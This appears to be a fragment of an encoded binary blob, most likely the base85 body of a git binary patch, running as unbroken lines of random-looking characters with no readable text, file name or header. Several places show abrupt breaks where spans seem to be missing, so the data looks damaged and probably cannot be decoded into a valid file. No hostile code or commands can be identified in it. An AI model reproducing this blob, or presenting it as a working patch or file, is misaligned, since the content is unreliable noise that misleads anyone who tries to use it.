z#GgDJw-Z-2<+JgSpM6J7arOmCT1DHg&$iQsfF7Gg-&>-#5Q5t~^wG2%g0cU1#J*DB z6sWou-?yik{_NjMRc-0(6c>|7{y45GXwqD|ef7tuc;m8lLd8ML&I?W0%&&SkMFo?> zMU{IUb9g3+zE`4NILseVdQq0LbLfkP%$vG5rvXm;SMOdjWLkdl^bY!(uw6!RYXVXl zA#B@emm1PKj&!f9TR(BSuP#GtSi#TY;pTq?V}z8s44sp0K_B1Vv`m@BglukQ#cdY6 zD~b0Uk92A+25mmPTeZ9m?=chN>?#qTDN=vwe>^!(uF zd7m$QIQi`JrSW%sh!WBYh-D!!4%;M|%6Y_s$L2X%uWNF4IO|PbS4iZ|>|Tub$E-sV z>c5vQVjRDtxrXT7uRsM`o=bzPV>)bDe*A-7-m>wG=FK=ZVkLsdK1AarZXuZ&(D{>ZSt0Ea4MSx=h;-w$Y<>5Td5V;#UmfUrj666S#LJ`D|y7? zez4PG%^2&&haG#b_TqN?_jcLjcxrs~CJ~0Nzk?9U7dC8YiL&|1tg^2fx1xqjb<~$% z55ASRAyw&MyS!dSaMwUZFoZ7$_VhbugImTnxw+qdrk91*)9%TueA@=~7Y~EhpEb~V zFH8X1wS^unVh^>%xmeH*u3N`BIx;(mi3)VER!pB5K+H!5$tK#{g;e5RbM4nH)Bvr~ zPdJ9;tvw=WilR8R)`hRzid^R~=|5N!a=F14w-KJ@hjyD>cUW(wB75V0Qo7?~Q$vah zF!`>v=_-1=fm{URPAduKt3_80TTU5SO&P)h23uASiH+H6WOu7QX4bneehKu35S15} zOwY4F!y>qPHf}1XKp680T}SZ9${M0Tfo)StU6>Dnf+5JdwE}Q>*IR>zOo3+?SFebqJVahtrv*HHw$t%gbD2R4LUKl><-tF6se4b$+7t4_!oYFEa=a% z#Ci_{C)kx|9`VX;5rp(CLMDqZB3$O*Fs*8b7Hh!HaoLblu<<`*;FxOxy1(#XK7P7&$`o_ibryKjwD&XerNeXh6#B) zJ$X$SFvXIW8}=YYFPa|7_}PMuUKPak@Y|F}SK-3cN=;qhcEg6f{FtdrJ<64sSzW*R zwp{ju+I?wxQ;arbxx9H$ciGXo=kAgjD}s#oJ{C9IazXAVz+i@GtOeJD=-t^$D{t#n zkTtllv8`K5fXKtv2Er)cqribQCglq;4ih92mEOZ(g6TIxY7pV^e9%^-oR!JcY^>mR zVr_&GL61-4AUMZ5uO5N08zbLVVK2ykj7cM`vJJM>ch?UNQo+TN7008fQE46S!v?yC zjcI`XMEavxwgxJ0%E8c6gi{kgwduDv+8oor$+*V2etO4v%@UtZi)ZN`2^t5Jo@cVS z2#d_x-9^^xB@{w{D&~H!%w{LYG0ybJmAIsx&ARsGTnBr?n(f)!Ok}vQ{$Dh_JUO&{ z)+*d}4Jo0h(;%9895Rle67<8^G!U8*|Qt!(doQH`UgF;){)<@_i41z^k+hvLE6vhaM%^D z(B)&}M(f0>SbG2@MzZ6)njEZW)?;pV%oU>L*G@wvqJMoiiKO(k?U4a^4%aO~VsRss z9~UIy3UP_Oj8M6X;T%DX90sqy9P2jNZe>Qd5n6qh_goY0Ek3bg@2B~{E-tE?F`}xh zHr>JY^QJdT9ABq_3>}Ns?x`XYL_GqtnTdDpl$1$Jk<2>*NGD1ufq+fa>GO!hx zKa^v+i<=xW0iP(Dm$BiR$%i_FxZgM2@7vscb0Nx_%lX!o^TmV+_V%kT8EnaENDGuC2SjNiE521Mf z_br6=*E|8703a!W2=|e4^~|e{|D)(!99mrbKmI(=?w7VztJY;}-B*frm2RGO*Ucg% zVI>L4qPy_yQtPG`MF=ZV&T*Wj5XW)WMRK2n+!t|@IwtAF@zwA7{RvxZdp_^a`}2BP z$psvJ6FYq*V#pqIL}fW{WBs@Z=Ye2yRIGupWE4B;DzWp>P_No>IyX>Hr&ghutJF$t zJlEuL6KAZ+YFq@(^niYwO}*$4zMF&0GaDTtW{E7H3BFiuSog!mudm9}MPs0C;>_Bi zUOM8Oy4!kip0#!>C!+~WP%-raL*m;jQzJCuQgVM2=dr{z(#ASKfQvz_CQ>M-qfnkE zh`H%Bbt}dL`7d4I$OmwV-PRcb&_{>!uwlQKa2_|A6~T6WWrWkCi;gs5Ly`J7&Cr&n zh3^GcV`_CL-cZzf^l=*HeG~gM{DdktS>0~3_Or?B^kKgi(zR}@Utn&M$~n<_9%`{} zmO3SCa4P{^j0P9UwU1Ppt%dQ`wT?m!E27yfMTc97U>|SCRKzaGNt8jzZc|(TQ zZ{L{b+Aa}l1c|q>D*=2m*DU@F?|rRJB4scC{GjeLZkf*LbE_k&^F9rE%%n4ZNLaoU zHk>Nh zH^Inp#AE)u9rM@3J1#$a>YQTw!Zfgqdbf3^#2Y`2EY4?MYG;hhp?w0pjx z`ywje@*)2irQK2I;qK{~tzYoh84o8rY_bk7{OI=KyjScOulVJCa}!fOM?_B>HBV;- zyWm>ac?aBWcJ^NJ@YwwDDEEM;)lUAlowolibK3RLbKlN|n~d#)MV1X6i;fvv=4p5v zJNV8R7k^Lhc2EBcJN>to4f}OCW{C*lB23YM5Wn2>-WT^WxA|%AmrsAOE+Be}moNO( z>T7H~FOR$U>+;2gB0{Lf>-}=?!H3@Xx-4=XJlWwj~UHdmlL@@r(|ZkS25E&VA|_o=e8qtOC+5ki|T^rj^#ux^$PvF1HQnF zT;3TTJstS_wEB3R=aS_y^Sq*Do#DM+-dCpGZ%luDHRKtff;b4s;zFJKot+WTvD_mo zq4X+q$;%b_3dU*Q55KANg zmbgwaF&u8OMZFNJ_gz@O!miin*G|Yn6Q>|8@9>OU)Qhpu(9TNOW1v|9Y_ecOa}fH^ zC4wC7BEnL=ZDeFiV26e1eXwo#yp!UeAY`F(KJl9vI0t3z_bO}7CHA`amLK7Am#*lA zl!%o$g%J8R%SW^3f%n>8E_-}D(rp7qZGv&p)X(jIZxv(%B~)O)i`YEyoTEdlIu~qS zq4{SM#$E-oX4W{^t+UjnD#p6(VbB6tAB$a6^3^&<#C!~rfz8y33%G!p@I8Q~3LH;3 z3EAd>rtlp;H`T!>>2H%8_5d2qB{^YI7tE|)mCI}Ukh*=p*WKJri{7S(}4zGk5tdW9uDH=}d{02VsIrVp0sRn#a&+m4=Y*dQ8WfnqfLXtQfL~}^kO2(?Y@q~yq`!mL z#K_U4eEhO-)igIqay?+bkJEDBIl-ajixa}WO=WF5OS#z1l5#iN)_KI5wL5k|*Hj$! z2;r6YqMH|dHtrN`KeS+>2FH^y{LEr2&0=m$k@jA|&)*Rm@&u|7nO__s+KUK00kaCU zPU_BXY&ZS^GWQ%R$bOP{*=zTs7EB)3>`n^%8fcOOVEqst4 z<)Dp~u$!2%>WZJrcvN5^*X7$mm@Ka8U=t$6YZ`NAT@7k11txxGU^@F|Gp3!4Xy; zybN;zyrW`iQ!M9L0-R}@**q>Kb>W!YEO%*s!On34oI;J%?fJMo|6vom6f}7y+IA^1 z_c?3(2W-_1Q5?`Qc+Q3s)Llp3!0MC`ziX^4Bq34DGhfbnZ~>;?#xQ|vX44~H^k&c4~$FU{KW1vmxv{`nJ z%nmQi{mTM37e_2E3K;5tFpUN5p6kSB znz#by^rT?sJY*kJD71;fry@>zH$Hfl7q22#i1e>~8|*NcK?x`82#1^RXs=?%Wf#03 znafmdS(pmCjx6%!RhRjG^;zBgR>FRPV6G-W~1_`l5dqTbu&MjOtt_F;#^`;wF}6?{sDUPi z;x?UA813h$q=yWQ^kqbHk3Fh45vSthu7XRCR?dSq*`lHSgeDKvZ;P<0o z)EX$=RztA5FkKJwR2M!Cb<+d7&8~LW+M~;z3v-5#)pjs6ZrQ5{#&R`RZrc2D$ufTH zzdqv$J%1)wRlSJYn7Yx2duLU#p#R(NwEv`w;Y+Vy{3a+PG&ZqEVbRVgXi#Nanz+5- zMduAGF%yBZp2xjjaVtM~_dhw9U=hR=HIzw@6#VCIS`S(k55#ZBMK-19!T1VQLi2ZP zdyUnzCQ2!ae^wF0RjcVDllLG~3O}k8;ZHlcok?fklAO#P?8sVRG=6aKb5BFe_sGT< zan`^&7w)M|0^F;{sy~n3pmRYFAajALW3ux`%k52-R!yU%wKwHki3 z7pC11Y0vaP$2GJ9E_Rm<=$LDD3}~Gz;i9N=*bzvP?7-ZSaQ;yds#S|F!lJO>h`uk# z%ypOSL`w^QfSDzO9qi178jy*s6mXZIc+M;6X0xmF`7V&CV@`DwFZw_AZ@G0H(z$!R zUHCI@+o`zVufg`fbqWRy-ZN^f3!L8v{i1s@Au*Zpvt{TkhS1hxn7W*08V00p7n$F) zVXH?N3@$cj0CIuN9!FXRfuu9iYdzhcCYsofo7kx~iGNQURE=2O8L{?FIa0do{8_{b z*={+EHITyk2R0jQVn%A9EFJSAXhiI?gh%A3e#OT07uq({QF?A!x7D3)R=UW^ z09Yg=lp(#a4R@GvSq-LfNz3eO47*SwzoNOAD&q^(EhFE zu9ce^(O>TA)BIL}*It<%00f7wPkM5W6PWk$ z%|6t1(DI&c>6)CKKL6N-I5%DM75d6{*ze1j7F5nl6L#ZRTsS&N)uu~roKxy+pmN>AXvo~+`+dCI0NPzOOhzD|ud1fC zjV7~#rJjC5Ey9~=84PZ+F2UZyJ`-pOyEhcq-*a}*=ZB)dWt$KGAgP3VnELO7>JpgEES{Ci;2K4w(2tfVoF!YaHx& zVu$DV&fmRwAdJW^7Xv=ee+1um_3kRutO!rEt#P8}kT>_z7E`n5`iz#wxR(cbiR8!b z5l`OpKklU!;CY$LYrMM}JZt9p7KwQHu)3-HzH>Yo*=Gz`v!XNRejNVtTmhvc~;GTKNLcxnrCW2uNfr7%^t}ZNO z77Q(4wf4>D^&J?X2_ADwu9BPDF#?WK0dG?^?SF8aaJnCq77f2 zl@f( zv)4V|w^uv+#zI^9VKdhZOGudt?5~Lm&-1g@xnq)Ye`2^{lO)t3U6EqHV6tVQw0j)Xt@&nzBQDJFZe1rfD~!K^wQiW14Uf`aum`zF%n z?Rr`b>ljnwUQ~`#i5d##k@?{Z(S=t|CM~?ZQO6L_{_--GOejGm7O^Tk)0V*{K`)RY8HBNBrGks~id zx~Q)mXFLqxtbEr7df4D|Iz#AL`ejf7pSm|Dgy20a^?B8f%f6dt^%;@mm2RTvHFgnR z{V6B8@=H(xz#3Hj7f{uX>E>(xm>38($Pr_0({zO40jHXU?ls$nfPtZr$X!)RdO9Fs z&5BA&9)b`f8L;>{D>vMtk-0PoaK`G80CeW?+biY#R#r17WN6Eal&SIrhgycD_C9A6 zAorFKOSG@tZFd+IwmLcl%)k%?S}bfjy5h@ zkeT!Cb_(Z9PQ!*+_eD(}xx`t<6)mp&4wo7_)=fLFq!kiV=9wz{E4IIs@fuL3dtpSN zV+xjQZ)Yv*LMrJl8_-nxoPjbVKqUZ6Pwl9u8iSNP4QW?F^Fg+AXy8ygjy=t_m_dS3 z(2DoF=6FsAkB{ww2ieqS&K*P$Tr#(Rs{4hG^;L)^4?U>1%ncQ)uz}A5ezSR$^@;l$s&fVPM`dEOUIUe$v^Ynq=y>5^u#^bN33C=}YOpwm* zr1=i)@M)FITKM9PkqEU%3y6N!XZ|tOoj1N^L$e?7T4uwOn(pCmh`aOF!a;?$#%t-D zwS_v|{pG!kWnjw@>v!#f!z_!+9lr0!ep&t7rbfO-c1sL6ZC7G~DpFQv2Qz>2aXVnw z1Ql%zz>&U!1E(|XMh#bOq<>P9b9}JjLdZ)+`O4*we5H*uu%-y~cl|m)1o;Bs%-=w6 zBEnag5(r>Clum4T4w?@@R}gxZ3i3uEb19%@(CgvtLS;f}Dk%1$s~F-H!fk8C;BW$Y z7ADh$!5bMX=FmQ;R=R+Q@fPi2DWMOrfr~i#=7nUL02_foo&YYQY3+8RBAchccz|&T z?IVme5`rEuby`I18Cm z7$5*Zrd#xA4 zw2k(*`;KF{|;wj1hkA8Vv`aCbtNV#`Jj3qgQK3CCF;I+K=pwvO!gx&zp zt-_12tq}M$oqkFWplRHzdV6awW?F5q?F%rfr3I^#8{@%cdfHts)=OUd6CqnYHD>|) zw|nn*DBQnU2Q1W4z6eQFA?ORt$%A1q9HF1$9+(jmtV9Rc8t_On)azR{p)&ABvZurb zetghCOuV%cO0ostmsQseM@bA>c7x_6I(nZDxO=0Dr)C={0ivk91)+PDmrN^Z-gSIjF#en z0zLuqteW5;1jP}QK6&^TVg82Y;6Xi2r=h(S;xLzwxIQhuBLU+Xw9nkKeGEsI20W&x zJ?ByvMUW#OgRGLg?oHHL9mz$!!@e2l64FTr(2x46$6Ab;26%gtV!*(Ui)n|ZEqr~X zU-fe&12sEPN&AExN13vJYj(|v4mT76M^2xVCtlmrP_y4v5)m`^|9&6w@Y z{*L*ip*e_YKVixmCH)ZtK{jnMKu|Uw=8BH~T!_nWz(ti~3~caApBnyav&rD{eiJqJ zfiJd*hv|mtWtvk`))~v}GIJ@&65(gGWJf@l-3e9>mu*1O_B}wJ3F*0_a=Nnobb4EM z0+^(sy%g0GkovDmvN0eGP&wb#)ZFPeKbu59D}+Av7{)r#)5UX32fX>&_O0UVS|RD| z&Wv+^SDbTl2U8gIx8jAK+307UOxI%AJ3)>fbWq`EVX7VE%+Uh-GVn~~cj9NDjzPb% zgp#j>P&LOB;(ALxbYe`jRMx~5CvSwIZa$r>G)m=Cp1`#H$O;!N@Cv3!aJdW}DZCUS zBC-h~&D(?a1)(2O1{H4EH;SSKw75XkMozq!VCBAGOa!67a0Vc@Z|O9Fv7-QOIbTU^ zuSQ9=eu%+)6(&wh8x{lSjnUswSUy7kOXS+v1U=`{y|pYhn4yBR{EX=D#7sjyDRq_1 z>>c)DDS5S`vRZMMRP_RijsqrE|^SAhf?lv~d(5tpVl%Am6ZqjV+UA@T1jp_sWSyAG;>5avZ?7v`5PoH2a) zzg6@!A!HSO7(LMN^zV49q)+NFMnL`rp~y%}$Z_)Vo9c}Bzi_?+@?gmL2;=~kp62Fl zs$@90|C%XIdap{K(GtyjF5gmSHBlTcODKLCYbl@J4q*6|bdTr`pQEHwf97T_O{)aY zUpn@(e2yJ@-M@}|{8%$Fd?h4%fMNwnF8brE>`vsv`M4R7r38N$(*3^50kqzltO*9q z`Xf#}af!%R(N6HOj%@~0LPAdn?Z*HZw+TPZFz{A4Va@~RmGmJl){p@%<}WewIQ_Q} z*Vo-VpDgg-5uZ@CVKK1eDR{NE-riDk?Vn28DC4gn2Dr?Y8j-SMR8L#06#7G_V)?s; z9+-n_>PxZJG(uaWIi=D6ne1?lF~-j*a{8!X{MfPXE`TjXTkX0oC=9gR}pq2Lcc3)J7pTdfVYMValgX&U|76@5pXs-@^tZ;|9mM|4$PUEXwHo& z*`Dn+Z8{)8Mf_I`Ue5%tWaI5YYi==Y~h-?E4swx=_MEzM6ov%%`)n-opOE=>F z@df_lz4(tEGl2PdFj7S;Zf!bs5!@`KpVI`WZE#aC#ZBM%>WX1^(z)&<=WN^tcksXs ze7a5ytZ|1b5PG`~fB|zV!f?>yW>MN|m@QieK&bG!19TPP`xvwdQADKn;gc?nF{Oe8 z9@ucHcOwHrn~GmH;NSf)?&3zbpd=VBZ3@A@A%cg6^gkPbeq?c{in4h(<(w9`+`?%z z5xhfOA6n`AsH-Eolwqda`yOy?9P1oq(3agsd!2I^7AY_I0sEeb0prKjnAO~$V(KP; z^cIiaFFMn+fmELg5!->!2rZEBW2ZT^E1x`1ZD_5%^i@b~wP*e-p?8UauuP~`NVon% zXX;bOl}M}3Yrd@My+8hgKYb2>@RsWw(+8jZ`rBy(#_wvk z=f4V{znn+?#8;bZFntVq3Vh9MS914n*R0^79zErCEajwbvA*!H;26p+oI@!3rE6Jl zAS7P-llETSC9}c&u0KV`MtBP5h?81Xw~oR!B|S`eaapK&EVo>>0mI^gyO0Oo2#~(p zpbMdFx%-$dM+H%oDVTIF+sH`7Zc`m|bT{^ji9WUR_zC@GQ)Q-U1h`f6_WCGcdPz)U z`@^3wJxd9wcAc@i#&o>bHFo3jBCq9O*(K;xEYPS!^J{x)e6tr%vSEhY!_@Aw%ijvqMR}{3>w)SOF5;CS$3Wh zYV~r8f%k2;3lrWnRxmXhbo^KtMNL(OYHRqe*s} z@@0Gq>Cur6cKqP2lm2Wzq)^g3v_JqHMAfz13LoCn+%uXar>#6!HCCp-#D)W@A#D0R zO^fd~qskXAJC);CxRg5NW8=sTl$cB6v!8V0ziP=Qcb^U;v>-8ng|l1uprNjv_R#!# z(BNYF^doODSxb8l?66dG!%e|Jg!Wko5mO+k{@Fz35@@W(T3AY6L!68e~EFeAp&vEb=}RFZD(J`L!{$9TeXn?5|| zj}8M3v+Cg6<$1ABDte!uRMO?@jWLf$tmh9WL=UHmhLesCuir}5INHvM2$)Y^kqgQK zHGJeC`n+kr0IgXHMad7SU-?nfBD_>^q5Rj^!Dy%o)BAyPmI!nBC~?T!@wS?JS4=&~ zUCz=p92Y`2-|ME~7v2c{Me7Tq0L+Ey1Ns+-CA4ww-68>LT1R%!K5zux6x+e?M%py> zZbK!;Q-nc}NN&cyDnab*xmUeN4C^3G*`UYf4h&Bvg4K;|l<{4tsOWW}IN{p}c{_^s;ul;qz@VVbHgq>5Op#k>|r3Ne; zUd!Q#+u?Xp!RXzh@4rK}J9VcM7_*WltmoZ6qYmSd*LX_ZRBe)0J+G9ldsFUyKIDe$ zu3GrVQOPHZa)Y(FmEwm(csyy>k)BBS_BuP7U-fufO0z7&b5bqQXtZAzlQ!#{ii8io zlp5Ae>`oe9@nGD@#&vX}McUI)cqtt|6(UjbeE$fJQzwKeW{>v^xwds0|9(w+VAHD3GCucr8uxMz> zDe%_{-w3uz(tm_M@`je^T$!r&O%#R?-|2W$rj~JrG3O%Mz)8;=5XlVgrLgr9E#5}-}#H#D5GjXcm5m~ zNjto;@!Q5qX5fElX|8Aqm;aETp#slcbsG|vWuQ>@b=4vorSQXITM|ht9=-P;IxUGeP=6t z5>FmqnV{N%F?-YA+9>Wxxp6#i(D0c1 z+QT;Wg;1dgqPX&U92tJ?tyM;)O$rR{-ZurPa+*#5&4eq$S;x&UL%&>q7~)FsrE9`V zu(k*nBsZLTf}s@ga3&ruZC^(B2Fy;Rb-K6Nuyd<)w?_A78MIp2vBV#&acLE z2!-Rl2k%ih)Xhx?AzNY7!6M>e-3dm2Tf`AO^M9?F=m|rGl*Hop9bYZ#Itv9I*|N#f zcD}v}tRjAX^Z~n*fB%GQif^?#8PJwS4wkH zhaAr>D&T^iZ))EYC>|`q(fmO%cP*uQw(o%R71zHk^G^G6r9@K^Tw)*uP8}B{tbcmk zFXI#v>-GQcmW)BEiw<$PDl_*(kKD)uennm9;@Xd{oji^BlU~5A&t1dOsU8Q8sNWm+ zd2)y_gHp_Yv%yddKrw*yl-DV|@N#d!9^*@F`39@po#nMYO6b)jg2UBmSQ9AYMtm=8 zIECN`=mES2W*2^ln;JEgllT*b8O~HU)Dasvz~3^}ko1U)AZK#{jEyGJiKSKk8;MZA z>PzN89x}f)5#@mw>~mtJgQZN!XQ1P$V}cm89e8WuT>t>ZBQ>k22ipj4453pO>OAjmM96RA>F#CYCbMuKhNB5K zlWIafixgjt_@((7Aw*MkJ!X%vdONlQG8ZKT!tns!9;SbdB-CW;PjU;z^O?GhR~*IO z4rg>5*+kTNXIRTEz5`NUwos&HQm8)`!gE7|w#1`ICM1sXOyC61WuJ@PuVVaU^n>e8 z+p{&O@D=oFsz>IG2Uf5aCcnUYOM`+~g}DZ~8sX_y)=-lIFdW=CW%Y3-3i*dEnBF*VihyY05kvAdFn9#@9i zQWTbbI@Y!r5>^*~gL@Gm7qx`odiM|aSqa+@=5RN#5+%;bDWxvdRI4wD9HTAuF!}+I zR=42-15)I66L7lE2y$0^+Vi+M#=4UmV&D0IHrEU;;CvbjHG?0}_9D$oZOTdm8{-vr z4c#W~!<0lXKeg6un^MztQ81XPzuB&C#HSf{37tx?Xdu zCSqRM4X*(-Fh!;}!RH?0OOr?KoaW5U_|LoX#(wsU!Kz#RmNkrLhV*4sBgEZ6zmtd& zvS3hKx@bVN+A%rBUBtS#=`w<=IM#~$44D6fORbJ@70cz5_-APDJD@Mmx@xze`I*My z2Us1IX+vq{hLVYPA^clvX!=5g=Qx7(I2&wwv_!*t+`f-3?Awt|N%kkk%WYNjumNx| z)1r}V$CVJq3`d=!;K*GpkD~YD1c%}#+TJ!>0!lIR9BVHpD^=!Sb$$EGw`CH3`Cwh$ zcEjsut>nG{Q|~6aeu>asvb0mi2_L4A9}8*@?YHGjGeU?K-_5H@80!bH%yyubo`C2e zp87T|fvd<>ZJ^9OON#e>oPxcUHHcN{Z}_|rm2Mn9$zguKL0=bJ5shhn%vS=I{Z&-2 zmL|)eBDuv{q5MblNvm9buwjxGSyWfa$SMo-8<)`B12hq^(XyC}ML8`sO$?cKkrQ*I z)G$Fu`&ba+LVQpbER<4`)(8)<$IREi>83}$F6BVk*!I=eNgpy4PWIv>){Q4Q=X7%S zsqB@%1cz{X80?9%_UTv@F8eJe9z%QZeqqRk_%jXTn|<_U#Ra_=y3`6E*GJ&9aRIe? zz>WH%LRxs%&Ukr7FfsTUuvT}H+L21kj%_DlJy3WL-x^7~gQ#_R#+mN@26jE#X_S2AOG2wxj)I6cZxG z?<&AFjDQ&$1z%O3?RsNpRWD5qc#f6kB`UB~LKMnkE07g)OM8_F!o*tuEqjUA<6Xl} zO&N)&tL#|#JQs(I0d#DZxN{XAbA6?2^olsXQEpmm+kbE>9lVsV-F%OHb?yH~J9sSu-y_<6*v9dRrIwPcjm(S0o7~p=S=^ zbuz#ZLn`RDvRbjs?NQE6#1v(bs^x(^h^TEa;7Pn9<B*UUz@m&nQDYJ+ z@`$FC`g5_-LaYZOA?p$9BduwJEN)C5-G+@rk;Gj>vog6IQGz0DIYbFxjJ4bb1&JQn zF{Gg?$Y{7>;0!jZ4T@bYCyPyq!{DMac^ra5iXkJ$3QR9z1z^L5=Z$zAjp_`=9Yx}} zM?@t@8=~f;3{rmC@p&vP8D|lMpzJiQ~%M7?#uqFkRh{@`ZY*ov>6Z zi$$5kv(A^4K!l30aSZ$=jY!r>LnGPi#*g@`vC-(JSP8t^LFx9bG*!v%0Eyk~3I-9q z2nHBjOt20c&BK_F0c15M;*2bs_w41Io(MM(HnvIJ?5%Btasf+Pld$}J0`|Av3)5{R zj!LYpu8g6QM$UqE-vBC#d=|>?-Z|;0#xB*#BfGG1dMwPS-8=U5gn|F?M@f_0vy&GV zGl??6EQs!=nA!j~yrQ)v>CCC5Y9+uM!$j-kf-$Li8-pX1yP=Yi^J`=MD-BgrLD_J* z!I}91`zXT_KNa@=uaL2NF>OHl`uguSWpZ1zQ>jUcYr}fBNpK&)hyf_Q8?fPFKb=~& z>-wtQ@1EEuDYA)D(T^$$Uotf=4~0P*Y6R2E<3ul_6O$LJjBQnN$KgtYvLrj-7c`ib9jr?6Ga-Nk?*KaRsoYJZBDDP^H*`EV{>Qid#; zeHqGoF{i95_>| z1f0ZchwERGzky+GkOyl`V1rG!gETnt#pd50hq54Q8^GdYBFp6Nv!MI1toY*#!5HXg zzBWuN`TLHxBN7umERQOa2c5$(+W>d5JlZ#{c~b7KvNrWL*yD`dyiXpb$1dp-Rr{`9 z49kBT>zo?FM2ck-E&F4mWRX0~k^hl7k(edJ7`rjVR0b?=P;4BAr<|eCVTdy~v)`a# zWmFe72&P$ENLGiXxbPQU5`&(J*tl6ar^~9e4L~n)I1T$_zZ0C*n6NHv+J${?|C8MH zKjpTsF?0SiN6|sXLD`od2s2VH5dUf*0zFjEm+C;5!b%53?#2Vt4w(Ik#qAv^`Qo`k z!pV^StnjRjC3^Dz49K|DcBtxuvIF7o`-YIw6_T%UfFV)#XJ1K>aZR}Ke_Ii^P9&pw zY?M{?OC3VyZeA+4!uulFNB}^onj%aFGr6*V>`8|iRe5(~7$5WSkzKs{m!XnvzEaI> zU+gacu`A=;m@;E9I-qvkKy^Kzfx%?}#7N`AFYqbDn-1P>jGa>fRpA#seSq~EMIf@g z6d6DEC~E)X&AUb#YUgi09e$oyy;Z=f!kXiy$fZ{;jio^S zd=)tZiM>E3He^baz@M)MYi2S6Hg7$>E_3*gG5@ElgAyiAotx-jd>~!i`n0O<^yBfu zujKvJlU+~8chBF}`ZJ=S`-ANGlZV$1)UTYZ*4{pyHvxGVzpl3Qa^^OgZX=1gM3!8v zme*>x^pP*Tk|CW*GcdOUt_X8+ZD z8M|uty*Y@4E}Fo(XZ@;^X8D#>{k+kK&${VjaJoP1+3`vJ+_}tmV;?4cCOe3q{=PV- z;Y~Wtn^caUo$NO@ESs2&`)As8vL^h~&#mKL->M#Qw*BnS{BOo+vEXxn;Y3y>X1BkQ zX!WHWLDefCgSVNP=X{O&3MLIcDe=SlP3N|I#54DYPukJ8>#m7!Jk}nci3l^Fs>FZX zv@+Aa#%%qw(mb`)#Vx~Q!55FeKNYQhcK+syeILr`>ygR#6ZC7Ls;n_i_?O>j?cSDR#!^HiJ z)l2!{ZvhlDE)?9L$P&HI5$yC{F#WPL&g7DnME7yEQeryyP&-u%F}uF5`t&t^E_cbl z*&nNOQ`hId^UX{Qw9WN@SR>#4WTi~3A>;`$|Al+hQN4S%|@;J5vWg|C ztV?84-~Z&xfWSviKd3xtDGT$sGIwx&@$0$WC!C6On~I<8lixg19F54!i9cUO{8;;s ze4u6zjK^N&?6J(;^YQ-AM^E-F^DcbwI_jT)C*E-8-mJTHxb+ZqW}?RQvjkr>*s~{h z(I;um#HmlGP`L3o{GQRcUDCL{$gGo?+bzY@ZDZQRHoc`Z>)^R6UbgM^3eyEYDK;Q< zqnhI`qB>~zOD)42@P&y&8|?B<{B6_G?@Qg2`u9-?CT-c>C6pzk%Cq0;5T>0~r8*)@4H5R0 z+00A7(p_S^%+I59*8a|+d9b;kRdw;oR@}U^+N!+a;g4?yYbxh@(bxBZZn>wChPJF#-DW>Czx3j; zrw`hOQvNA@nZMca=DX~~bB@s#+{CGJ<-bjbPaoNO{^{wX+k496_k=8x!wV;^M#=+E zcxglj-x_>qI2cN9L0o5t1pNWG?Uifl$!kS+#Q8JuT3pthkZ1!g`|{E1wMiO`*Jnnp zfap)G4GZc|R-UZ?9Ws&FO)HIB#4i?wZ%nc*mfUl4>ba4yYyOWd9LfNN8S2RQu4`rhV^}DF*Rm2Aiz+(xZQ{E z-HhIjv!&M6;?4?2l3Hx_KwA)52Hvg+d|lv zPslh|#!ensR}{H(@G|4d_)6QFKO(;JiM*EN;QpJ7;zhx>r?l&E7@JH{u$jtAvWBz) zS%%GGr-?{T-b0^B^G^Iw597?cMo7*osu4D2w}B1Gxg`aXm{y|AXiF?kE(aMyAXCK)ad;m;?|#Y|XjwxF!&OkRYzV~i zL^3C|Ld?86VjM_3&Vp009>sGI6P2mMe){s|uDzUB890|zcdSGxVzk0IbenXXM71?K z2!ydu3(J>fHeuM}H3mfYpg6A-&_--3kU9}2cc;?Bb+CyUSFu#}#yBfuWU+@{wp5vd zv+RNmx#iG{1P%2>24vzZ2zOT!FsA$-hXS*5H#u;?K`C+$aL40Br<0C+?DxC4@yePv z9*3^Ha9HqG=12Fn2erNmLziw^-1O$XVXScf$CB!u87EQcCXCwxQwq^P)8tsVSsf%> zK8rD$TPAS*(XMb=iLj@%INzT3>cXKEtTkWY^tih^r@@YWqO1FM3$iaS&69I`R#IZh zt;kaesB`059A<}H!cJ^9PSULjna`z*a$xfb-={xcaOvAJFjnKL8}50CuUp>+%h0aF z=C2;?v-Z^yM;a8KXH%*R5j(1Lx5iK{sL9E+YnkMsvbw|`X{3np0X=hmY*@2Y>nc8$ z5#is{zAt0wZK;7pqLbdRI#v1BYD$Brrt7MT22vLJBlw^`p~R%F$J+bP<^HbVewyg5 z)wnvsUn@a{ssb*fpk&eG5&G81C0qiL5Hui(-Bz`M^USyB?jE=*{q$S*^MYW^EKh0B zqBEd+;-?;e2c0ywDY$|^FG7W!1VvwPx}CFJyQp7BFWzUxVz2`Y@^tbB2&O{ohSSd9n;_ynM$hzi-G5o+MLFpSb-$C;e% zGdZs(IV-u)LA7F$?TCDSakFti8%(?CUb8v}jSL$U3!)H9lDx?{cvj#v$OokfXgx(w zaJB_%sl{&$=9D2$$$FcGS234Th$w7ugk&74A%ASZ8_q}bjJ6QV05M{yez1N~WRuA> zzZB!jmnEIuLfMRj2MwplDWiRDXLqbHLF3uzNP&S?t+1Sn5=!_YPs7+*tp5+NqAlen zcu;jC;vFLQ_ie^`0^tE#p+sR}$H|HXc~kAQ=+G3##|(n{=Vy#9wTE+o-(y&zjGEHx z2;0jDo<{%GV7tnURmuo|BlpVuL@CGz!UM}vN_mVTOP2qcR^l+cq)VPVc2M(VX;O)hP!VI!KMRh&ky@2ZB+ii#z;j!n%v?7%)C7y@nfT!HXp=gSfBoxGSt^yylRE^o+D!!qyfHfAd;O8zPa)?*v;hET!T)P7Uu5#F0Sg+z zCL}omMF2Pa`!ona16xijF*s_~oCxPR+&wp@!41~Zqhq*GdT%`TUJBhK0EW`nfMg48 z`Pm>1fKDCmkK;@0VkS`_F@lAWw@z(#oa1`;(EWoT$rpA#R6+1B(gL{5CbrHu7}LUk z=dym$?KK>!&nUY5a@7z&u+-R2@lsZR4vcM!@P`u5WhfZJ3zi5$ZPTLuWuBEG~cEs9q6{PJDs^8b3TTwZU$*I>P1tZQuYgB}bD z`CX@>qQK6U5I-?I%LdFRZtknS0mZ-s7{PSiI-ihC{zXSVFQQ!QTY#&`@&)WsU|E5b zlOQ2eiMSkre?u=(`q*h$#tTL68lZ9_jk8yx$=BpSIgAIw@On6)suzu^<5aJ%yz6yO z=y56zw$BL(ObGUHpj3zedJe=Z2E*L@r26|F(*Qmbz%_*U=X67%-7iObh|`dE&TksPWQGK?x=nl# z#+FBml?X}IOe%N@tJk@)fCHm_A&=JKGBvccBWpga3xs=2nqik=nFWH3Hb?^1JsD*Y 